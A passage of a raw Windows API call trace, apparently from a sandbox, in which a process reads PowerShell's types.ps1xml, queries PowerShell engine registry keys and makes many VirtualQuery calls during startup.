lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.858] GetLastError () returned 0x0 [0072.858] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.858] GetLastError () returned 0x0 [0072.859] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.859] GetLastError () returned 0x0 [0072.859] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.859] GetLastError () returned 0x0 [0072.862] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] GetLastError () returned 0x0 [0072.862] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] GetLastError () returned 0x0 [0072.862] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] GetLastError () returned 0x0 [0072.862] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.862] GetLastError () returned 0x0 [0072.863] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] GetLastError () returned 0x0 [0072.863] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] GetLastError () returned 0x0 [0072.863] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.863] GetLastError () returned 0x0 [0072.863] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] GetLastError () returned 0x0 [0072.864] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] GetLastError () returned 0x0 [0072.864] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] GetLastError () returned 0x0 [0072.864] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.864] GetLastError () returned 0x0 [0072.864] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] GetLastError () returned 0x0 [0072.865] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] GetLastError () returned 0x0 [0072.865] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] GetLastError () returned 0x0 [0072.865] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.865] GetLastError () returned 0x0 [0072.866] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.866] GetLastError () returned 0x0 [0072.871] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.871] GetLastError () returned 0x0 [0072.871] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.871] GetLastError () returned 0x0 [0072.871] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.871] GetLastError () returned 0x0 [0072.872] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.872] GetLastError () returned 0x0 [0072.872] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.872] GetLastError () returned 0x0 [0072.872] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.872] GetLastError () returned 0x0 [0072.872] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.872] GetLastError () returned 0x0 [0072.873] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.873] GetLastError () returned 0x0 [0072.873] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1b4, lpOverlapped=0x0) returned 1 [0072.873] GetLastError () returned 0x0 [0072.873] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x0, lpOverlapped=0x0) returned 1 [0072.873] GetLastError () returned 0x0 [0072.873] CloseHandle (hObject=0x358) returned 1 [0072.873] GetLastError () returned 0x0 [0072.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0072.874] GetLastError () returned 0x0 [0072.874] SetErrorMode (uMode=0x1) returned 0x1 [0072.874] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be793c | out: lpFileInformation=0x2be793c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0072.874] GetLastError () returned 0x0 [0072.874] SetErrorMode (uMode=0x1) returned 0x1 [0072.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0072.874] GetLastError () returned 0x0 [0072.874] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e6d8 | out: phkResult=0x29e6d8*=0x358) returned 0x0 [0072.874] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e720, lpData=0x0, lpcbData=0x29e71c*=0x0 | out: lpType=0x29e720*=0x1, lpData=0x0, lpcbData=0x29e71c*=0x56) returned 0x0 [0072.875] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e720, lpData=0x3566f8, lpcbData=0x29e71c*=0x56 | out: lpType=0x29e720*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e71c*=0x56) returned 0x0 [0072.886] RegCloseKey (hKey=0x358) returned 0x0 [0072.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0072.886] GetLastError () returned 0x0 [0072.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e214, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0072.886] GetLastError () returned 0x0 [0074.774] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.784] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.786] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.786] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.787] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.787] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.788] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.791] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.959] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.960] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.960] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.960] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.961] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.961] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.962] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.962] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.969] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.977] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.977] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.979] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.979] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.980] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.981] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.981] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.981] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.984] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.985] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.985] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.985] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.985] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.991] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.996] VirtualQuery (in: lpAddress=0x29d618, lpBuffer=0x29e618, dwLength=0x1c | out: lpBuffer=0x29e618*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.011] VirtualQuery (in: lpAddress=0x29d618, lpBuffer=0x29e618, dwLength=0x1c | out: lpBuffer=0x29e618*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.011] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.013] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.022] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.022] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.023] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.026] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0075.026] GetLastError () returned 0xcb [0075.031] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.066] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.067] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.067] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.068] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.069] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.069] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.073] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.075] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.077] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e79c | out: phkResult=0x29e79c*=0x354) returned 0x0 [0075.077] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x29e804, lpData=0x0, lpcbData=0x29e800*=0x0 | out: lpType=0x29e804*=0x1, lpData=0x0, lpcbData=0x29e800*=0x74) returned 0x0 [0075.077] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x29e7e4, lpData=0x0, lpcbData=0x29e7e0*=0x0 | out: lpType=0x29e7e4*=0x1, lpData=0x0, lpcbData=0x29e7e0*=0x74) returned 0x0 [0075.078] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x29e7e4, lpData=0x3566f8, lpcbData=0x29e7e0*=0x74 | out: lpType=0x29e7e4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x29e7e0*=0x74) returned 0x0 [0075.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x29e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0075.078] GetLastError () returned 0xcb [0075.078] SetErrorMode (uMode=0x1) returned 0x1 [0075.078] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x29e7e4 | out: lpFileInformation=0x29e7e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0075.078] GetLastError () returned 0xcb [0075.078] SetErrorMode (uMode=0x1) returned 0x1 [0075.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.079] GetLastError () returned 0xcb [0075.079] 